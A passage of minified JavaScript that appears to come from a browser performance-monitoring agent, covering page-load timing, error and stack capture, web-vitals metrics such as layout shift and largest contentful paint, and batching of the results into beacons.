Gb(){Jg||(Jg=document.createElement("doc:rdy"));if(Jg.doScroll){var a=function(){try{Jg.doScroll("left"),Jg=void 0,Rf=kc(),M()}catch(b){Zc(a,0)}};a()}else document.addEventListener("DOMContentLoaded",function(){Rf=kc();M()},!1)}function Jb(){return pj}function Rb(){var a= h,b=Hb(mb.performance);if(!b)return Math.round(a);var d=Ka(b)?6E4>=b.domContentLoadedEventStart:6E4>=Math.abs(b.domLoading-a);if(!Z(C())&&!d)return a;d=ef();var f=b.redirectStart,l=b.fetchStart;b=(Ka(b)?0:d)+6E4;b=f?b>f?d:f:l?b>l?d:l:d;isFinite(b)&&(a=b);return Math.round(a)}function Xb(){var a=ib(mb.performance,!0)||ef();return Math.round(a)}function Dc(a,b){var d;Ri--;if(Sf&&b){var f=(Sf.get(b)||1)-1;if(f)Sf.set(b,f);else Sf["delete"](b)}if(!Ri&&rh)try{pc((d={},d.kind="LOAD_END",d.detail=void 0, d))}catch(l){}0>=Ri&&(rh&&(b=rh.id,a=a?Math.max(Xb(),a):Xb(),d=aa(mb.performance,"loadEventStart",!0)||ef(),d=d<Mb?0:Math.round(d),a&&d&&a>=d?(f=kc()-a,5E3<Math.abs(f)&&(a+=f),uc(b,a,d)):uc(b),rh=null),mk||xe());b=ic();b!==C()&&b.sole()}function Jc(a){if(Sf&&Sf.has(a))try{a.parent&&Zc(function(){Jc(a)},100)}catch(b){Dc(void 0,a)}}function td(a){Ri++;if(Sf&&a){var b=Sf.get(a)||0;Sf.set(a,b+1)}p.edge&&a&&Zc(function(){Jc(a)},100)}function xe(a,b){var d=$b(Kb);if(d){var f=0;mb.performance&&!a&&(f=b|| Xb());f||(f=kc());uc(d.id,f);pj=d.stop;M()}}function pe(){xe(1)}function Dd(){mk=!0}function Od(){var a=$b(Kb);a&&!rh&&(rh=ec({name:"_onload_",type:"_load_",start:kc(),pa:a.id}))}function wg(){if(!nk||0<Ri)nk=!0,M(),Dc()}function Uh(){M();if(!Ij){var a=ic();a!==C()&&a.iolm(mb);Od();Ij=!0;rb("PAGE_LEAVING",function d(){rh&&a!==C()&&a.sole(void 0,mb);wb("PAGE_LEAVING",d)});Zc(wg,0)}}function Vh(){"loaded"===document.readyState&&M();"complete"===document.readyState&&Uh()}function Zg(){M();Ij||("complete"=== document.readyState?ym?me(!1,!0):(ym=!0,Zc(Zg,3E3)):Zc(Zg,3E3))}function $g(){Si(!1);if(oh.length)for(var a=rn&&!hc("dsndb"),b=kc()-1E3,d=0,f=oh;d<f.length;d++){var l=f[d];try{l.time>=b&&(a?we(l.path,l.data):fd(hd({path:l.path,Ka:l.data}),!1))}catch(r){}}if(!Dl)try{yd(),El(),Gg.dT_.clB(),Sf=void 0,Dl=!0,rh=null}catch(r){}ok||(ok=!0,ye())}function sh(){Si(!0);ok||(ok=!0,ye())}function th(){var a,b=!1;try{return(a=Pb())&&a.target&&!Jj&&(b=Kj(a.target))&&(Jj=!0,Zc(function(){Jj=!1},1)),b}catch(d){return b}} function Kj(a){var b;if(b=a){if(b=a.href)a:{b=a.href.replace(" ","").toLowerCase();var d=["mailto:"];if(11>p.ie)d.push("javascript:");else if(-1===yc("javascript:",b)){b=!1;break a}b:{for(var f=0;f<d.length;f++)if(-1<yc(b,d[f])){d=!0;break b}d=!1}d?b=!0:(b=b.split("://"),b=!("http"===b[0]||"https"===b[0]||"file"===b[0]))}b=b||Kj(a.parentNode)}return b||!1}function Lj(){th()||Si(!1,!0)}function zm(){Rk=se=!1;pk(!1);me(!1,!0,!0);kb=!1}function Ti(){if(p.sf&&mb.frames)for(var a=0;a<mb.frames.length;a++)try{var b= mb.frames[a];b.dT_&&b.dT_.obc()}catch(d){}}function Si(a,b){var d;if(!se||kb){var f=kc();a||(se=!0,Zc(function(){Zc(zm,2E3)},1));pc((d={},d.kind="PAGE_LEAVING",d.detail=se,d));Sk&&Rk||cd(b,Nd,f);a=vg.qd(!1,!0,!0);Ti();a.beacon&&(me(!1,!0,!0,!1,a),Rk=!0);kb=!1}}function Tk(){return 0>=Ri}function ui(a,b){if(de||isNaN(a)||100>a||1E3<a)return!1;Kg={responseCode:a,message:b+""};return!0}function vi(){return Sk}function pk(a,b){Sk=a;ti(Wm);b&&(Wm=Zc(function(){Sk=!1},2E3))}function ah(){function a(b){Kb=== b.detail.i&&wb("ACTION_CLOSED",a)}mb.doNotCreateLoadAction||(Kb=ec({name:"_load_",type:"_load_",start:Mb}).id,M(),Vh());rb("ACTION_CLOSED",a)}function Uk(a,b,d,f){var l;void 0===d&&(d=!1);var r=(l={},l.msg="",l.file="",l.line=-1,l.column=-1,l.error=a,l.stackContainsWrapper=d,l);"number"===typeof b&&(r.parentActionId=b);f&&(r.source=f);qj(r)}function gf(a,b,d,f){a[b]&&Wh(d,""+a[b],f)}function Vk(){var a=p,b=a.ie,d=dm.documentMode;if(b){a=(a.trident||0)+4;if(b!==a)return a+"_as_"+b;if(d&&d!==b)return a+ "_as_"+d}return""}function qj(a){var b,d=a.error,f=a.msg;if(!(!f&&!d||wi+1>Tc("mepp"))){wi++;"string"===typeof d?f=a.msg||d:d=d||mb.event||{message:"",name:""};var l=La(La({},a),(b={},b.msg=f,b.error=d,b)),r;b=Pb();var G;b&&(G={name:b.Ob(),type:b.type});d=l.error;"string"===typeof d&&(d={});f=d.columnNumber||0;var ea=l.msg,ya=l.file,ob=l.column,zb=l.line,pb=l.source;b=(r={},r.message=d.message||d.name||d.yi||d.description||ea||d.errorMessage||d.Th||d.data||d.Yh||"Indeterminable error name",r.file= d.fileName||d.filename||d.sourceURL||d.ai||d.file||ya||"",r.line=d.lineNumber||d.lineno||d.line||d.fi||zb||-1,r.column=(d.columnNumber?f+1:void 0)||d.ci||d.colno||d.column||ob||-1,r.stack=Xh(d)||Uc(),r.userInput=G,r.code=d.Ai||d.code||d.errorCode||d.status,r.timestamp=kc()-h,r.emulationMode=Vk(),r.debugInfo="",r.type=d.name||"Error",r.source=pb||"1",r);"Indeterminable error name"===b.message&&(r=Gh("msg",l.msg),r+=Gh("file",l.file),r+=Gh("line",l.line),r+=Gh("column",l.column),r+=Gh("error",l.error), b.debugInfo=r);b.stack&&l.stackContainsWrapper&&(b.stack="<wrapper>"+b.stack);if(b.stack){if(1200<b.stack.length){l="";r=0;for(G=b.stack.split(/(\r\n|\n|\r)/gm);r<G.length&&!(d=G[r].trim(),f=d.length,0<f&&(l=250<f?l+(d.substring(0,150)+"[...]"+d.substring(f-100)+"\n"):l+(d+"\n")),1200<l.length);r++);b.stack=l}b.stack=b.stack.replace(RegExp("\\|","g"),"^p").replace(/(\r\n|\n|\r)/gm,"|")}500<b.message.length&&(b.message=b.message.substring(0,500));l=b.file;r=b.stack;G=Xc("csu");l&&r&&-1===yc(r,G)&& -1!==yc(l,G)&&(b.incompleteStack=1200<r.length?"stringLength":"numLines");5011!==b.code&&(l=a.parentActionId,a=kc(),a=Ta({type:"_error_",name:Cb(b.message),start:a,Za:!0}),l=qc(a,l),a&&(gf(b,"type","_type_",a),b.file&&(r=b.file,0<=b.line&&(r+="|"+b.line),0<=b.column&&(r+="|"+b.column),Wh("_location_",r,a)),(r=b.incompleteStack)&&Wh("_istack_",r,a),gf(b,"stack","_stack_",a),gf(b,"code","_code_",a),gf(b,"timestamp","_ts_",a),gf(b,"emulationMode","_emu_",a),gf(b,"debugInfo","_debug_",a),b.userInput&& Wh("_useraction_",b.userInput.type+"|"+b.userInput.name,a),gf(b,"source","_source_",a),l&&Vc()))}}function Uc(){try{throw Error("");}catch(l){var a=Xh(l);if(a&&4<a.split(/\r\n|\r|\n/).length)return"<generated>\n"+a}if(9>p.ie){a=[];var b=0;try{for(var d=arguments.callee.caller.caller;d&&10>a.length;){var f=Xm.exec(d.toString());a.push(f?f[1]||"[a]":"[a]");d=d.caller;b++}}catch(l){}if(3<b)return"<generated-ie>\n"+a.join("\n")}return""}function Xh(a){return a?a.stack||a.Xh||a.Ii||a.error&&a.error.stack|| "":""}function Wh(a,b,d){var f=kc();a=Ta({type:a,name:Cb(b),start:f,Za:!0});qc(a,d.id,!0)}function Gh(a,b){a=a+"|"+(typeof b+"|");if(null===b)a+="null|";else if("object"===typeof b)for(var d in b){if(Ra(b,d)&&"stack"!==d&&"error"!==d){var f=d;a+=d+"|";var l=typeof b[f];a+=l+"|";"object"!==l&&"function"!==l&&(a+=b[f]+"|")}}else a+=b+"|";return a}function Jf(a,b,d){var f=kc();a=Cb(a);b=Ta({type:b,name:a,start:f,stop:f,Za:!0,domNodes:-1});d=qc(b,d);ja(nj);d&&Vc();return d}function Mj(){Z(C())||(Jf("visit end", "_endVisit_",-1)?Am(!1,"a"):kd())}function Fl(a,b){wi>Tc("mepp")||(wi++,Jf(a,"_error_",b))}function qk(a,b){Jf(a,"_warning_",b)}function Kf(a,b){Jf(a,"_log_",b)}function bh(a,b){var d=kc();a=Ta({type:"_rv_",name:Wa(a+"="+b),start:d,Za:!0});qc(a);Vc()}function nd(a,b,d){var f=kc();a=Ta({type:"_rs_",name:Wa(a+"="+b),start:f,Za:!0});qc(a,d);Vc()}function De(a,b){switch(a){case "_uaps_":if("string"!==typeof b){a="value [".concat(b,"] is not a valid short string, because it is of type ").concat(typeof b, ".");break}else a="value is not of type 'string'. Make sure to pass in a string.";(b=b.length)||(a="value is not a valid short string because it is empty.");var d=Tc("mpl");b>d&&(a="value is ".concat(b," characters long, which is longer than the maximum of ").concat(d," characters"));break;case "_uapl_":a="value [".concat(b,"] is not a valid java long.");break;case "_uapdt_":a="value [".concat(b,"] is not a valid date.");break;case "_uapdbl_":a="value [".concat(b,"] is not a valid java double."); break;default:a="value [".concat(b,"] is not of a supported type. Has type of ").concat(typeof b,".")}return a}function rj(a,b){return{failedProperties:a.Ec(),sentProperties:a.Ed(),info:"Number of total failed properties: ".concat(b)}}function Ui(a){return!("number"!==typeof a||isNaN(a)||0!==a%1||0x7fffffffffffffff<a||-0x7fffffffffffffff>a)}function Lg(a){return!("number"!==typeof a||isNaN(a)||1.7976931348623157E308<a||-1.7976931348623157E308>a)}function Mg(a){return"string"===typeof a&&0!==gc(a).length&& a.length<=Tc("mpl")}function Vi(a){return!!a&&"[object Date]"===Object.prototype.toString.call(a)}function Yh(a,b,d,f,l){b&&"object"===typeof b&&Hh({data:b,type:"_uapl_"},Ui,a);d&&"object"===typeof d&&Hh({data:d,type:"_uapdt_"},Vi,a);f&&"object"===typeof f&&Hh({data:f,type:"_uaps_"},Mg,a);l&&"object"===typeof l&&Hh({data:l,type:"_uapdbl_"},Lg,a)}function Hh(a,b,d){var f=a.data,l=Oc(),r;for(r in f)if(Ra(f,r)){var G=l,ea=f[r];null!==ea&&"object"===typeof ea&&Ra(ea,"value")&&(G=G&&!ea["public"],ea=ea.value); b(ea)?(G?ea="dT_pv":"_uapdt_"===a.type&&Vi(ea)&&(ea=ea.getTime()),d.Od(a.type,r,ea)):d.Dd(a.type,r,ea)}}function xi(a){a=a?oc(a):[];if(0===a.length)return!1;for(var b=0;b<a.length;b++)if(0>mf(un,a[b]))return!1;return!0}function uh(a,b,d,f,l){a=new Qn(a);xi(b)?Yh(a,b.Xf,b.Bf,b.xg,b.Wf):Yh(a,b,d,f,l);return a.Lf()}function tc(a){vh[a]?vh[a]++:vh[a]=1}function Ih(){hc("ds")&&(vh={},Qe(function(a,b,d,f){if(hc("ds")){d="";for(l in vh)Ra(vh,l)&&(d+="".concat(d?"|":"").concat(l,"-").concat(vh[l]));var l= d;!b&&de&&l&&(a.av(f,"ds",l,!1),vh={})}}))}function hf(a,b,d){(a=id.Of(a))&&Ob(d,b+"="+a)}function Zh(a,b,d,f){rd&&(b=rd.Nf(),d=[],hf(rd.Gd,"spL",d),hf(rd.Bd,"spD",d),hf(rd.Nd,"spSS",d),hf(rd.Fd,"spDb",d),b&&a.av(f,"fsp",encodeURIComponent(b.join(",")),!0),d.length&&a.av(f,"sp",encodeURIComponent(d.join(";")),!0),rd=null)}function Wk(a,b,d,f){rd=xi(a)?new id(a.Xf,a.Bf,a.xg,a.Wf):new id(a,b,d,f);a=rj(rd,id.qb);b=rd.Ec();if(b.length&&Qh())for(d=0;d<b.length;d++)f=b[d],he="Property key ["+f.key+"] was not accepted because: "+ f.reason,mb.console.log(he);(rd.Qf()||b.length)&&Vc();return a}function Gl(){return he?{severity:"Info",text:he+"(Note: only last errorMessage gets reported!)",type:"wsp"}:null}function Nj(a,b){if(Hf!==b)return-2;if(3===b&&!de){var d;Pe(ae,a);Pe(oj,a);a=yf(null===(d=Sh)||void 0===d?void 0:d.na,ae);Ya(a);return 2}d=ae;if(1===a.id&&1===d.id&&1===Xg.length)return Pe(Xg[0].newView,a),Pe(ae,a),Pe(oj,a),2;if(d.name===a.name)return-1;xa(a);return 1}function wh(a){var b=Number(a);return a&&!isNaN(b)&&11359836E5< b&&41338908E5>b?b:kc()}function Fc(a){return"function"===typeof a}function Oj(a,b){for(var d in b)if(b[d]===a)return!0;return!1}function vc(a,b){return typeof a===b}function Me(a,b){return vc(a,b)||"undefined"===typeof a||null===a}function fg(a){var b;null===(b=mb.console)||void 0===b?void 0:b.log(a)}function Tf(a,b,d){fg("".concat(a,' "').concat(b,'" is deprecated! ').concat(d))}function Rc(){fg("Wrong argument types in method. Please check the documentation to fix that")}function wc(){fg("Too many arguments. Please check the documentation to fix that")} function Xk(){return vg.zc()}function rk(a,b,d,f,l){void 0===b&&(b=!1);void 0===d&&(d=!1);void 0===f&&(f=!1);ch(a,(null===l||void 0===l?void 0:l.contentType)||"");return me(!1,!0,b,d,{referrer:O(),beacon:a},f,l)}function Wi(a){Bm.push(a)}function ch(a,b){Ac(Bm,function(d){d(a,b)})}function $h(a,b){sk&&(sk&&!Yk&&(Pj.observe(document,sj),Yk=!0),gg[a]||(gg[a]=[],tk=Object.keys(gg),em[a]=b))}function Zk(a){sk&&(gg[a]&&(delete gg[a],delete em[a],Cm[a]=uk),tk=Object.keys(gg),0===tk.length&&Pj&&Yk&&(Pj.disconnect(), Yk=!1))}function xg(a,b){if(!$k)return null;Xi[a]||(Xi[a]=new $k(b));return Xi[a]}function Qj(a){sk&&Xi[a]&&(Xi[a].disconnect(),delete Xi[a])}function al(a){return gg[a]?gg[a]:[]}function Jh(a,b){gg[a]=b}function Ng(a){return a&&Cm[a]||uk}function yi(){sj={childList:!0,subtree:!0};$k&&(Pj=new $k(function(a){for(var b=kc(),d=[],f=0;f<a.length;f++){var l=a[f];"childList"===l.type&&d.push.apply(d,l.addedNodes)}if(d.length)for(uk=b,a={time:b,nodes:d},b=0,d=tk;b<d.length;b++)f=d[b],l=em[f],"function"=== typeof l&&l(f,a),gg[f].push(a)}))}function Rj(a,b){var d=Nd;return d&&d.ib<Tc("tal")&&d.Ca+a<=Tc("tt")?(d=ne(!1),a={name:b?"".concat("setImmediate(...)"):"".concat("setTimeout(..., ").concat(a,")"),type:"_t_",start:kc(),Rd:a,pa:d||!0},ec(a).id):0}function Sj(a){if(a=$b(a))a.Wb(),Zc(function(){Cg();of(ed(),!0)},0)}function Og(a){var b=$b(a);b&&(b.af(),Dj++,Ob(nh,a),of(b))}function Pg(a){var b=$b(a);b&&(Dj--,Zc(function(){ze(a);b.Qe();of(ed(),!0)},0))}function fm(a,b){return Fd(970,a||"XHR Error",b)} function Hl(a){return Fd(971,"XHR Canceled",a)}function Il(a){return Fd(972,"XHR Timeout",a)}function bl(a,b){return Fd(973,a||"Parser Error",b)}function tj(a,b){return Fd(974,a||"Setup Error",b)}function Tj(a,b){return Fd(979,a?a:"Unknown Error",b)}function zi(a,b){var d=0===a.time?0:b-a.time;a.total+=d;a.time=b;return a.Hd=d}function vk(a,b){void 0===b&&(b=kc());var d=cl[a];void 0===d&&(d=cl[a]={time:b,total:0,Hd:0});return zi(d,b)}function dl(a,b){void 0===b&&(b=kc());a=cl[a];if(void 0===a)return 0; zi(a,b);a.time=0;return a.Hd}function gm(a){a=cl[a];return void 0===a?0:a.total}function el(a,b,d){if(!a||!b)return-1;if(a.findIndex)return a.findIndex(b,d);for(var f=0;f<a.length;f++)if(b.call(d,a[f],f,a))return f;return-1}function wk(a,b){if(ta(Array.prototype.map))return Array.prototype.map.call(a,b);for(var d=[],f=0;f<a.length;f++)Ob(d,b(a[f],f,a));return d}function uj(a){a=a&&a.length;return"number"===typeof a&&-1<a}function pg(a,b,d){return"function"===typeof b?(b=void 0===d?b:Ma(b,d),wk(a, b)):a}function Kh(a,b,d){function f(){}if("function"===typeof Array.from)return b?Array.from(a,b,d):Array.from(a);if(Array.isArray(a))return pg(a,b,d);if(uj(a))return pg([].slice.call(a),b,d);var l=mb.Map||f,r=mb.Symbol||f,G=[];ta(mb.Set||f)&&Ue(a,19)&&a.forEach(function(ea){G.push(ea)});ta(l)&&Ue(a,20)&&a.forEach(function(ea,ya){G.push([ya,ea])});if(ta(r)&&mb.Symbol&&"function"===typeof a[Symbol.iterator]&&0===G.length)for(a=a[Symbol.iterator](),l=a.next();!l.done;)G.push(l.value),l=a.next();return pg(G, b,d)}function ai(a,b,d){if("function"===typeof a.some)return a.some(b,d);a=Object(a);for(var f=a.length>>>0,l=0;l<f;l++)if(l in a&&b.call(d,a[l],l,a))return!0;return!1}function fl(a){var b=a.getAttribute("class"),d=100-a.tagName.length;if(!b)return"";b=b.trim().replace(/ +/g,".");if(b.length<=d)return b;a=ad(b.split("."),function(f){return f.length<d});for(b=a.join(".");b.length>d&&a.length;)a.pop(),b=a.join(".");return b}function qg(a,b){if(a.id&&100>=a.id.length)return b.unshift("#".concat(a.id)), !0;var d=a.nodeName.toLowerCase();b.unshift(d);var f=fl(a);if(f&&(d+=".".concat(f),b[0]=d,vj(b)))return!0;f=a;for(var l=1;f;)f=f.previousElementSibling,(null===f||void 0===f?void 0:f.nodeName)===a.nodeName&&l++;d+=":nth-of-type(".concat(l,")");b[0]=d;if(vj(b))return!0;f=a.previousElementSibling;for(l=1;f;)f=f.previousElementSibling,++l;d=d.replace(/:nth-of-type\(\d+\)/,1<l?":nth-child(".concat(l,")"):":first-child");b[0]=d;return vj(b)}function vj(a){return 1===document.querySelectorAll(a.join(">")|| "").length}function Uj(a){if(!a||!Ue(a,8)||!document.querySelectorAll)return"";try{for(var b=a,d=[];b&&100>=d.join(">").length&&!qg(b,d);)b=b.parentElement;var f=d.join(">");if(100<f.length){var l=a.getAttribute("class"),r=a.tagName.toLowerCase();if(l)var G="..."+Ga("".concat(r,".").concat(l),100-r.length-3,!1,"");else{var ea=a.id;G=ea?"..."+Ga("#".concat(ea),97,!1,""):""}var ya=G||Ga(f,100,!0)}else ya=f;return ya}catch(ob){}return""}function Ai(a,b){try{if(3!==Hf&&("__vue__"===b||"__vue_app__"=== b)&&hc("usrvd")&&2!==Hf){var d,f,l,r;var G=(null===(l=null===(f=null===(d=a.__vue_app__)||void 0===d?void 0:d.config)||void 0===f?void 0:f.globalProperties)||void 0===l?void 0:l.$router)||(null===(r=a.__vue__)||void 0===r?void 0:r.$router);if(G){var ea="function"===typeof G.afterEach;var ya=G.currentRoute&&ea?!0:!1}else ya=!1;if(ya){var ob,zb;if(ob=(null===(zb=G.matcher)||void 0===zb?void 0:zb.match)||G.resolve){var pb,Tb,Hc,zc=null!==(Hc=null!==(pb=G.options.base)&&void 0!==pb?pb:null===(Tb=G.options.history)|| void 0===Tb?void 0:Tb.base)&&void 0!==Hc?Hc:"",Ad=G.options.mode;zc||"hash"!==Ad||(zc="#");var Zd=zc;a=Xg;for(b=0;b<a.length;b++){var Pc=a[b];Pc.oldView&&Pe(Pc.oldView,rg(Pc.oldView,ob,Zd));Pe(Pc.newView,rg(Pc.newView,ob,Zd))}Pc=ae;a=oj;Pe(Pc,rg(Pc,ob,Zd));Pe(a,rg(a,ob,Zd))}G.afterEach(gl);B(2)}}}catch(Ke){B(1)}}function gl(a){2===Hf&&Nj(xk(a),2)}function xk(a){var b=a.matched;a=a.path;return b.length?{group:b[b.length-1].path,name:a}:{name:a}}function rg(a,b,d){var f=yc(a.name,d),l=a.name;l===d? l="/":-1!==f&&(l=l.substring(f+d.length));a=La(La({},a),{name:l});return La(La({},a),xk(b(a.name)))}function Af(a){void 0===Jl&&(Jl=Tc("prfSmpl")>Math.floor(1E4*Math.random()));Jl&&(0>hm&&(hm=Tc("msl"),Gg.dT_.si(function(){xh()},3E4),If(mb,"beforeunload",function(){xh(!0)})),Ym.push(a))}function yk(a){var b="";Ac(a.d,function(d){b+="".concat(d[0]).concat("=").concat(d[1]).concat("|")});return"".concat(a.i).concat("|").concat(a.t).concat("|").concat(b.slice(0,-1))}function dh(a,b){var d="";Ac(oc(b[1]), function(f){d+="".concat(f).concat("=").concat(b[1][f]).concat("|")});return"".concat(a).concat("|").concat(b[0]).concat("|").concat(d.slice(0,-1))}function xh(a){void 0===a&&(a=!1);Ac(Ym.splice(0),function(b){if(0===b.t){var d=!1;for(var f=b.d,l=f.length;!d&&l;)d=0===f[--l][1]}else d=!1;d||(b.a?Kl(b):hl.push(yk(b)))});Bf(a)}function Kl(a){var b=a.i,d=Yi[b];d?(d[0]+=a.t,Ac(a.d,function(f){d[1][f[0]]=void 0!==d[1][f[0]]?d[1][f[0]]+f[1]:f[1]})):(Yi[b]=[a.t,{}],Ac(a.d,function(f){Yi[b][1][f[0]]=f[1]}))} function Bf(a){void 0===a&&(a=!1);Ac(oc(Yi),function(d){hl.push(dh(d,Yi[d]))});var b="";Ac(hl,function(d,f,l){if(b.length+1+d.length>=hm){bi(b,a);b="";if(f===l.length-1)return bi("".concat(il).concat(d),a);b="".concat(il).concat(d)}else b?b=b+","+d:b="".concat(il).concat(d);b.length&&f===l.length-1&&bi(b,a)});hl=[];Yi={}}function bi(a,b){var d;void 0===b&&(b=!1);var f=Xk();vg.ar(f,a);rk(f,b,!1,!1,(d={},d.contentType="perf",d))}function Vj(a){if(Object.values)return Object.values(a);var b=[];if(a=== Object(a))for(var d in a)Ra(a,d)&&b.push(a[d]);return b}function ci(){di=Qg.connection;hc("eni")&&di&&Qe(function(a,b,d,f){!b&&de&&di&&(b="".concat(di.effectiveType||"-","|").concat(di.downlink||-1),di.type&&(b="".concat(b,"|").concat(di.type)),a.av(f,"ni",b,!1))})}function sg(a){return"longtask"===(null===a||void 0===a?void 0:a.entryType)&&50<a.duration}function Bi(a){Gg.dT_.apush(zk,{startTime:a.startTime,duration:a.duration})}function wj(){try{Wj=new PerformanceObserver(function(a){Ac(ad(a.getEntries(), sg),Bi)}),Wj.observe({type:"longtask",buffered:!0})}catch(a){}}function Zi(){ei=yg=0;zg=fi=-5E3;jl=[];if(hc("cls")&&jf.cls)try{(new PerformanceObserver(function(a){a=a.getEntries();for(var b=0;b<a.length;b++){var d=a[b];if("layout-shift"===(null===d||void 0===d?void 0:d.entryType)&&!d.hadRecentInput){var f=d.startTime;if(0===gi){if(5E3<f-fi||1E3<f-zg)fi=f,ei=0;zg=f;ei+=d.value;yg=Math.max(yg,ei)}else 1===gi&&jl.push({startTime:f,xf:d.value})}}})).observe({type:"layout-shift",buffered:!0})}catch(a){}} function Ak(){eh=new mb.PerformanceObserver(function(a){a=a.getEntries();for(var b=0;b<a.length;b++){var d=a[b],f=d.name;d=Math.round(d.startTime);"first-paint"===f&&(kl=d);"first-contentful-paint"===f&&(Bk=d)}});try{eh.observe({type:"paint",buffered:!0})}catch(a){eh.observe({entryTypes:["paint"]})}}function Xj(){im=new mb.PerformanceObserver(function(a){a=a.getEntries();a=a[a.length-1];if(a.size>Yj)switch(Yj=a.size,gi){case 0:Zm=$i(a);break;case 1:ll.push($i(a));break;case 2:pj-Mb>a.startTime&&(Yj= a.size,a=$i(a),ag("_wv_",[["AAI",String(Kb)],["lcpE",a.Bc||"-"],["lcpSel",a.Nc||"-"],["lcpS",String(a.size)],["lcpT",String(a.Aa)],["lcpU",a.url||"-"],["lcpLT",String(a.loadTime)]],!1,void 0,1))}});try{im.observe({type:"largest-contentful-paint",buffered:!0})}catch(a){im.observe({entryTypes:["largest-contentful-paint"]})}}function $i(a){var b,d=a.startTime;d&&(d=Sa(d));return{Aa:Math.round(d),loadTime:Math.round(a.loadTime),size:a.size,Nc:Uj(a.element)||"-",Bc:(null===(b=a.element)||void 0===b?void 0: b.tagName)||"-",url:a.url||"-"}}function hi(a){var b=0;for(a=a.getEntries();b<a.length;b++){var d=a[b];"first-input"===d.entryType&&d.processingStart&&d.startTime&&(Lh=Math.round(d.startTime),Ci=Math.round(d.processingStart-d.startTime))}Zj()}function Zj(){2===gi&&kc()<pj+2E4&&ag("_wv_",[["AAI",String(Kb)],["fIS",String(Lh)],["fID",String(Ci)]],!1,void 0,1)}function ml(){var a,b=null===(a=mb.PerformanceObserver)||void 0===a?void 0:a.supportedEntryTypes;return!!b&&-1!==mf(b,"first-input")}function Ck(){if(ml())try{(new PerformanceObserver(hi)).observe({type:"first-input", buffered:!0})}catch(a){}else rb("GLOBAL_EVENT_FIRED",function d(b){var f=b.detail;b=f.e.timeStamp;if(Lh||-1===mf($m,f.t)||!b)b=!1;else{f=ef();var l=1E12<b;l&&b<f?b=!1:(Lh=Math.round(l?b-f:b),Ci=Math.max(0,Math.round(Dm()-Lh)),Zj(),b=!0)}b&&wb("GLOBAL_EVENT_FIRED",d)})}function ii(a){a.detail.i===Kb&&(wb("ACTION_CLOSED",ii),gi=1)}function yh(a){var b=a.detail,d=b.a;a=b.s;if(b.i===Kb){wb("ACTION_BEFORE_SEND",yh);gi=2;b=[];d=a-d;if(hc("pt")){if(jf.lcpT){var f=Zm;for(var l=ll.length-1;0<=l;l--)if(ll[l].Aa< d){f=ll[l];break}f&&0!==f.Aa?f.Aa>d?f={Aa:-6}:Yj=f.size||0:f={Aa:-5};f.Bc&&f.Nc&&f.url?b.push(["lcpE",f.Bc],["lcpSel",f.Nc],["lcpS",String(f.size)],["lcpT",String(f.Aa)],["lcpU",f.url],["lcpLT",String(f.loadTime)]):b.push(["lcpT",String(f.Aa)])}else b.push(["lcpT","-3"]);jf.fcp?b.push(["fcp",String(Bk?Bk>d?-6:Sa(Bk):-5)]):b.push(["fcp","-3"]);jf.fp?b.push(["fp",String(kl?kl>d?-6:Sa(kl):-5)]):b.push(["fp","-3"])}if(hc("cls"))if(jf.cls){f=b.push;l=0;for(var r=jl;l<r.length;l++){var G=r[l],ea=G.startTime; if(ea<d){if(5E3<ea-fi||1E3<ea-zg)fi=ea,ei=0;zg=ea;ei+=G.xf;yg=Math.max(yg,ei)}}jl=[];f.call(b,["cls",String(+yg.toFixed(4))])}else b.push(["cls","-3"]);if(hc("lt"))if(jf.lt){f=b.push;l=String;r=0;G=ef();ea=0;for(var ya=zk;ea<ya.length;ea++){var ob=ya[ea],zb=r+ob.duration>d;G+ob.startTime+ob.duration<=a&&!zb&&(r+=ob.duration)}null===Wj||void 0===Wj?void 0:Wj.disconnect();f.call(b,["lt",l(Math.round(r))])}else b.push(["lt","-3"]);0===Lh&&0===Ci||b.push(["fIS",String(Lh)],["fID",String(Ci)]);0<b.length&& ag("_wv_",b,Kb,Mb,1)}}function jm(){try{var a=mb.dT_;if(!a||!(void 0===mb.dialogArguments?navigator.cookieEnabled||Ja():Ja()))return!1;var b=mb.dT_;b.initialized=!1;b.pageId="";b.pageTitle="";b.frameCount=0;b.bwsW=0;b.bwsH=0;b.syn=!1;b.googleBot=!1;b.tp=Pd;b.tdto=ic;b.gicv=L;b.aFU=jd;b.gPId=Lc;b.iRO=bc;b.gBI=H;b.iMD=ia;b.cfg=N;b.acfgP=ha;b.smbi=ve;b.ism=vd;b.iMod=u;b.gMu=E;b.tau=R;b.icr=oa;b.lv=Za;b.sv=vb;b.svl=Oa;b.gh=Ha;b.cvs=Xf;b.aesc=I;b.puesc=ka;b.rsc=Cb;b.tpesc=$a;b.ulc=Qb;b.afpl=Zb;b.apl=q; b.rpl=D;b.dbg=t;b.dbc=y;b.dlf=Y;b.rxapply=Eb;b.loc=O;b.sch=fj;b.gPO=Nb;b.gCPO=ac;b.gNTO=qa;b.vAT=Sa;b.cVIn=mc;b.sNT=Oc;b.gPAH=zd;b.id=Db;b.ss=Cf;b.ssP=Wk;b.asl=nf;b.sMPS=Bg;b.gBP=tf;b.cB=Xk;b.sB=rk;b.gid=Wc;b.ea=ud;b.la=We;b.lx=Ed;b.ex=bf;b.ec=mg;b.lc=kh;b.eV=Mj;b.pe=Fl;b.pw=qk;b.pl=Kf;b.rv=bh;b.rs=nd;b.pcn=Jf;b.ca=jb;b.can=Gi;b.isci=ig;b.noa=Te;b.ti=M;b.las=Va;b.gca=lb;b.gAR=Rd;b.gAA=Bd;b.sxbe=Gf;b.aWF=$e.dtAWF;b.mx=lh;b.mxf=Fd;b.mxg=fm;b.mxc=Hl;b.mxt=Il;b.mxp=bl;b.mxs=tj;b.mxu=Tj;b.gITAID=ke;b.re= 